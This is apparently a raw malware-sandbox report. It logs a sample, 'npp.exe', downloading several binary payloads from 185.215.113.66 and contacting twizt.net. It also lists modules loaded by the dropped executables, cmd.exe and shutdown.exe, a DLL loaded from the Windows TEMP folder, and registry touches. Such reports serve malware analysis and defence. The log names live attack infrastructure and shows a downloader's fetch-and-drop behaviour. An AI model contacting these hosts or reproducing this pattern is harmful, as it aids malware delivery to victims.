Last-Modified: Wed 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes with response body ==>4E47532100020000F701B2600C25583649B9342391284E72AB02062AEEB346543E3A684E474A0C3791B7A41B38A19AE0B0C4FE21204458A6826DCD5358F13BAC....... "GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:22 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Wed 24 Apr 2024 03:15:28 GMT Connection: keep-alive ETag: "66287950-2008" Accept-Ranges: bytes with response body ==>4E47532100020000AE510A62F821227EDFEB1C4548485A500C8FF33C96DE4436CF45EFEF6E045D1582A42508C8C19CFFDD90A66AC5C522051105E3A256B47ED4....... "GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:23 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Wed 24 Apr 2024 03:15:28 GMT Connection: keep-alive ETag: "66287950-2008" Accept-Ranges: bytes with response body ==>4E47532100020000AE510A62F821227EDFEB1C4548485A500C8FF33C96DE4436CF45EFEF6E045D1582A42508C8C19CFFDD90A66AC5C522051105E3A256B47ED4....... "GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:24 GMT Content-Type: application/octet-stream Content-Length: 88320 Last-Modified: Wed 24 Apr 2024 23:34:31 GMT Connection: keep-alive ETag: "66299707-15900" Accept-Ranges: bytes with response body ==>7DDED3D77478EF40ADE831B70CB354D116E1BCFAE310653693B0294F7B3DD396B194B28AE882DA1F555BDCB0D85C151CD90B3346A92B1547E124061A172C4AD2....... "GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:25 GMT Content-Type: application/octet-stream Content-Length: 88320 Last-Modified: Wed 24 Apr 2024 23:34:31 GMT Connection: keep-alive ETag: "66299707-15900" Accept-Ranges: bytes with response body ==>7DDED3D77478EF40ADE831B70CB354D116E1BCFAE310653693B0294F7B3DD396B194B28AE882DA1F555BDCB0D85C151CD90B3346A92B1547E124061A172C4AD2....... "GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:25 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Wed 24 Apr 2024 23:07:47 GMT Connection: keep-alive ETag: "662990c3-2008" Accept-Ranges: bytes with response body ==>4E47532100020000AE510A62F821227EDFEB1C4548485A500C8FF33C96DE4436CF45EFEF6E045D1582A42508C8C19CFFDD90A66AC5C522051105E3A256B47ED4....... "GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:26 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Wed 24 Apr 2024 23:07:47 GMT Connection: keep-alive ETag: "662990c3-2008" Accept-Ranges: bytes with response body ==>4E47532100020000AE510A62F821227EDFEB1C4548485A500C8FF33C96DE4436CF45EFEF6E045D1582A42508C8C19CFFDD90A66AC5C522051105E3A256B47ED4....... "GET /4 HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: 185.215.113.66 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:27 GMT Content-Type: application/octet-stream Content-Length: 88320 Last-Modified: Wed 24 Apr 2024 23:34:31 GMT Connection: keep-alive ETag: "66299707-15900" Accept-Ranges: bytes with response body ==>7DDED3D77478EF40ADE831B70CB354D116E1BCFAE310653693B0294F7B3DD396B194B28AE882DA1F555BDCB0D85C151CD90B3346A92B1547E124061A172C4AD2....... "GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:28 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Thu 25 Apr 2024 00:06:30 GMT Connection: keep-alive ETag: "66299e86-2300" Accept-Ranges: bytes with response body ==>630C614E62492B892647A8F381C334D989AF2DC4BD5218CF20EFCE2CBD1BD5A4474D28235E8A07872E2621B80221368CC864AABEA26E71CE0A169FC7368268BE....... "GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:29 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Thu 25 Apr 2024 00:06:30 GMT Connection: keep-alive ETag: "66299e86-2300" Accept-Ranges: bytes with response body ==>630C614E62492B892647A8F381C334D989AF2DC4BD5218CF20EFCE2CBD1BD5A4474D28235E8A07872E2621B80221368CC864AABEA26E71CE0A169FC7368268BE....... "GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:29 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Wed 24 Apr 2024 23:07:47 GMT Connection: keep-alive ETag: "662990c3-2008" Accept-Ranges: bytes with response body ==>4E47532100020000AE510A62F821227EDFEB1C4548485A500C8FF33C96DE4436CF45EFEF6E045D1582A42508C8C19CFFDD90A66AC5C522051105E3A256B47ED4....... "GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:30 GMT Content-Type: application/octet-stream Content-Length: 8200 Last-Modified: Wed 24 Apr 2024 23:07:47 GMT Connection: keep-alive ETag: "662990c3-2008" Accept-Ranges: bytes with response body ==>4E47532100020000AE510A62F821227EDFEB1C4548485A500C8FF33C96DE4436CF45EFEF6E045D1582A42508C8C19CFFDD90A66AC5C522051105E3A256B47ED4....... "GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:31 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /STATSONLINEBRO HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: twizt.net" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:38 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:59 GMT Content-Type: application/octet-stream Content-Length: 86272 Last-Modified: Tue 23 Apr 2024 21:15:20 GMT Connection: keep-alive ETag: "662824e8-15100" Accept-Ranges: bytes with response body ==>A84AF5C34D1E89ED25AD4F3B68ED08BA6202F53EE5717CD28A8192A864318638DCE1CD87120419EAD1C979A100A87AB606D8D2D1AD21C169E6D6737EB294F780....... "GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:07:00 GMT Content-Type: application/octet-stream Content-Length: 15104 Last-Modified: Wed 24 Apr 2024 23:21:57 GMT Connection: keep-alive ETag: "66299415-3b00" Accept-Ranges: bytes with response body ==>4BE8231D0C9479421C1C4897497A96F6A9D037984E18A4BFCDF5CE8D004D6CF69F43EAC450F399CB6F7F29AC33C11E128E348D95A7EA7C6291621061F3ABD46A....... "GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:07:01 GMT Content-Type: application/octet-stream Content-Length: 81928 Last-Modified: Wed 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes with response body ==>4E47532100020000F701B2600C25583649B9342391284E72AB02062AEEB346543E3A684E474A0C3791B7A41B38A19AE0B0C4FE21204458A6826DCD5358F13BAC.......3e:T38f6,"npp.exe" loaded module "SECUR32.DLL" at base 74ee0000 "npp.exe" loaded module "RPCRT4.DLL" at base 75730000 "npp.exe" loaded module "SHELL32.DLL" at base 75be0000 "npp.exe" loaded module "OLE32.DLL" at base 76cc0000 "npp.exe" loaded module "ADVAPI32.DLL" at base 755a0000 "npp.exe" loaded module "KERNEL32.DLL" at base 76e20000 "npp.exe" loaded module "PROFAPI.DLL" at base 751c0000 "npp.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71500000 "npp.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75270000 "npp.exe" loaded module "WS2_32.DLL" at base 774b0000 "npp.exe" loaded module "WINHTTP.DLL" at base 70e10000 "npp.exe" loaded module "IPHLPAPI.DLL" at base 73500000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74c00000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74cb0000 "npp.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72600000 "npp.exe" loaded module "DNSAPI.DLL" at base 748a0000 "npp.exe" loaded module "CRYPTBASE.DLL" at base 750b0000 "npp.exe" loaded module "DHCPCSVC6.DLL" at base 733d0000 "npp.exe" loaded module "CLBCATQ.DLL" at base 75840000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 746e0000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6d9e0000 "npp.exe" loaded module "DHCPCSVC.DLL" at base 73350000 "npp.exe" loaded module "RASADHLP.DLL" at base 71900000 "npp.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a20000 "npp.exe" loaded module "CRYPTSP.DLL" at base 74c70000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74ac0000 "npp.exe" loaded module "RPCRTREMOTE.DLL" at base 75150000 "npp.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a20000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6d370000 "npp.exe" loaded module "OLEAUT32.DLL" at base 77410000 "npp.exe" loaded module "URLMON.DLL" at base 75a40000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 77410000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 77000000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73430000 "npp.exe" loaded module "COMCTL32.DLL" at base 74050000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 774b0000 "npp.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75060000 "2416522045.exe" loaded module "KERNEL32.DLL" at base 76e20000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73fd0000 "2416522045.exe" loaded module "CRYPTBASE.DLL" at base 750b0000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74c00000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 746e0000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 737c0000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 731f0000 "2416522045.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a20000 "2416522045.exe" loaded module "RPCRT4.DLL" at base 75730000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 73150000 "2416522045.exe" loaded module "DNSAPI.DLL" at base 748a0000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 731e0000 "2416522045.exe" loaded module "WS2_32.DLL" at base 774b0000 "2416522045.exe" loaded module "SECUR32.DLL" at base 74ee0000 "2416522045.exe" loaded module "IPHLPAPI.DLL" at base 73500000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73430000 "2416522045.exe" loaded module "RASADHLP.DLL" at base 71900000 "2416522045.exe" loaded module "SHELL32.DLL" at base 75be0000 "2416522045.exe" loaded module "OLE32.DLL" at base 76cc0000 "2416522045.exe" loaded module "ADVAPI32.DLL" at base 755a0000 "2416522045.exe" loaded module "PROFAPI.DLL" at base 751c0000 "2416522045.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75270000 "2416522045.exe" loaded module "CLBCATQ.DLL" at base 75840000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\FIREWALLAPI.DLL" at base 74660000 "2416522045.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71500000 "2416522045.exe" loaded module "URLMON.DLL" at base 75a40000 "2416522045.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a20000 "2416522045.exe" loaded module "WINHTTP.DLL" at base 70e10000 "2416522045.exe" loaded module "OLEAUT32.DLL" at base 77410000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74cb0000 "2416522045.exe" loaded module "SHLWAPI.DLL" at base 76860000 "2416522045.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72600000 "2416522045.exe" loaded module "CRYPTSP.DLL" at base 74c70000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74ac0000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6d9e0000 "2416522045.exe" loaded module "DHCPCSVC6.DLL" at base 733d0000 "2416522045.exe" loaded module "DHCPCSVC.DLL" at base 73350000 "2416522045.exe" loaded module "RPCRTREMOTE.DLL" at base 75150000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6d370000 "2416522045.exe" loaded module "COMCTL32.DLL" at base 74050000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 77410000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 774b0000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 77000000 "2416522045.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75060000 "2416522045.exe" loaded module "MSCOREE.DLL" at base 6bdc0000 "2416522045.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70790000 "2416522045.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "2416522045.exe" loaded module "KERNEL32" at base 76e20000 "2416522045.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "2416522045.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6bd30000 "2416522045.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "2416522045.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "2416522045.exe" loaded module "VERSION.DLL" at base 74650000 "2416522045.exe" loaded module "SXS.DLL" at base 750c0000 "1691212729.exe" loaded module "CRYPTSP.DLL" at base 74c70000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74ac0000 "1691212729.exe" loaded module "ADVAPI32.DLL" at base 755a0000 "1691212729.exe" loaded module "CRYPTBASE.DLL" at base 750b0000 "1691212729.exe" loaded module "KERNEL32.DLL" at base 76e20000 "1691212729.exe" loaded module "SECUR32.DLL" at base 74ee0000 "1691212729.exe" loaded module "RPCRT4.DLL" at base 75730000 "1691212729.exe" loaded module "SHELL32.DLL" at base 75be0000 "1691212729.exe" loaded module "OLE32.DLL" at base 76cc0000 "1691212729.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a20000 "1691212729.exe" loaded module "PROFAPI.DLL" at base 751c0000 "1691212729.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75270000 "1691212729.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71500000 "1691212729.exe" loaded module "URLMON.DLL" at base 75a40000 "1691212729.exe" loaded module "WS2_32.DLL" at base 774b0000 "1691212729.exe" loaded module "WINHTTP.DLL" at base 70e10000 "1691212729.exe" loaded module "IPHLPAPI.DLL" at base 73500000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74c00000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74cb0000 "1691212729.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72600000 "1691212729.exe" loaded module "DNSAPI.DLL" at base 748a0000 "1691212729.exe" loaded module "OLEAUT32.DLL" at base 77410000 "1691212729.exe" loaded module "CLBCATQ.DLL" at base 75840000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6d9e0000 "1691212729.exe" loaded module "DHCPCSVC6.DLL" at base 733d0000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 746e0000 "1691212729.exe" loaded module "RASADHLP.DLL" at base 71900000 "1691212729.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a20000 "1691212729.exe" loaded module "DHCPCSVC.DLL" at base 73350000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73430000 "1691212729.exe" loaded module "RPCRTREMOTE.DLL" at base 75150000 "1691212729.exe" loaded module "COMCTL32.DLL" at base 74050000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 774b0000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6d370000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 77410000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 77000000 "1691212729.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75060000 "3092126301.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70790000 "3092126301.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "3092126301.exe" loaded module "KERNEL32" at base 76e20000 "3092126301.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "3092126301.exe" loaded module "KERNEL32.DLL" at base 76e20000 "3092126301.exe" loaded module "SECUR32.DLL" at base 74ee0000 "3092126301.exe" loaded module "RPCRT4.DLL" at base 75730000 "3092126301.exe" loaded module "SHELL32.DLL" at base 75be0000 "3092126301.exe" loaded module "OLE32.DLL" at base 76cc0000 "3092126301.exe" loaded module "ADVAPI32.DLL" at base 755a0000 "3092126301.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a20000 "3092126301.exe" loaded module "PROFAPI.DLL" at base 751c0000 "3092126301.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75270000 "3092126301.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71500000 "3092126301.exe" loaded module "URLMON.DLL" at base 75a40000 "3092126301.exe" loaded module "CRYPTBASE.DLL" at base 750b0000 "3092126301.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73fd0000 "3092126301.exe" loaded module "PROPSYS.DLL" at base 73ea0000 "3092126301.exe" loaded module "COMCTL32.DLL" at base 74050000 "3092126301.exe" loaded module "OLEAUT32.DLL" at base 77410000 "3092126301.exe" loaded module "APPHELP.DLL" at base 75060000 "3092126301.exe" loaded module "CLBCATQ.DLL" at base 75840000 "3092126301.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a2d0000 "3092126301.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76e20000 "3092126301.exe" loaded module "SETUPAPI.DLL" at base 76b20000 "3092126301.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73ea0000 "3092126301.exe" loaded module "NTMARTA.DLL" at base 74620000 "3092126301.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 75a40000 "3092126301.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75210000 "3092126301.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75060000 "139762777.exe" loaded module "SECUR32.DLL" at base 74ee0000 "139762777.exe" loaded module "RPCRT4.DLL" at base 75730000 "139762777.exe" loaded module "SHELL32.DLL" at base 75be0000 "139762777.exe" loaded module "OLE32.DLL" at base 76cc0000 "139762777.exe" loaded module "ADVAPI32.DLL" at base 755a0000 "139762777.exe" loaded module "KERNEL32.DLL" at base 76e20000 "139762777.exe" loaded module "PROFAPI.DLL" at base 751c0000 "139762777.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71500000 "139762777.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75270000 "139762777.exe" loaded module "WS2_32.DLL" at base 774b0000 "139762777.exe" loaded module "WINHTTP.DLL" at base 70e10000 "139762777.exe" loaded module "IPHLPAPI.DLL" at base 73500000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74c00000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74cb0000 "139762777.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72600000 "139762777.exe" loaded module "DNSAPI.DLL" at base 748a0000 "139762777.exe" loaded module "CRYPTBASE.DLL" at base 750b0000 "139762777.exe" loaded module "CLBCATQ.DLL" at base 75840000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6d9e0000 "139762777.exe" loaded module "DHCPCSVC6.DLL" at base 733d0000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 746e0000 "139762777.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a20000 "139762777.exe" loaded module "DHCPCSVC.DLL" at base 73350000 "139762777.exe" loaded module "RASADHLP.DLL" at base 71900000 "139762777.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a20000 "139762777.exe" loaded module "URLMON.DLL" at base 75a40000 "139762777.exe" loaded module "CRYPTSP.DLL" at base 74c70000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74ac0000 "139762777.exe" loaded module "OLEAUT32.DLL" at base 77410000 "139762777.exe" loaded module "RPCRTREMOTE.DLL" at base 75150000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73430000 "139762777.exe" loaded module "COMCTL32.DLL" at base 74050000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 774b0000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6d370000 "139762777.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 77410000 "cmd.exe" loaded module "KERNEL32.DLL" at base 76e20000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75060000 "shutdown.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70790000 "shutdown.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "shutdown.exe" loaded module "KERNEL32" at base 76e20000 "shutdown.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "shutdown.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72120000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70790000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 76e20000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "shutdown.exe" loaded module "RPCRT4.DLL" at base 75730000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 721200003f:T57a,"npp.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "npp.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "npp.exe" was detected as "Microsoft Linker" and name: "Linker" "1539229012.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1539229012.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1539229012.exe" was detected as "Microsoft Linker" and name: "Linker" "2416522045.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2416522045.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2416522045.exe" was detected as "Microsoft Linker" and name: "Linker" "2025212419.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2025212419.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2025212419.exe" was detected as "Microsoft Linker" and name: "Linker" "winploravr.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "winploravr.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "winploravr.exe" was detected as "Microsoft Linker" and name: "Linker" "139762777.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "139762777.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "139762777.exe" was detected as "Microsoft Linker" and name: "Linker"40:Tfce,"npp.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32") "npp.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "npp.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}") "npp.exe" touched "NetworkListManager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") 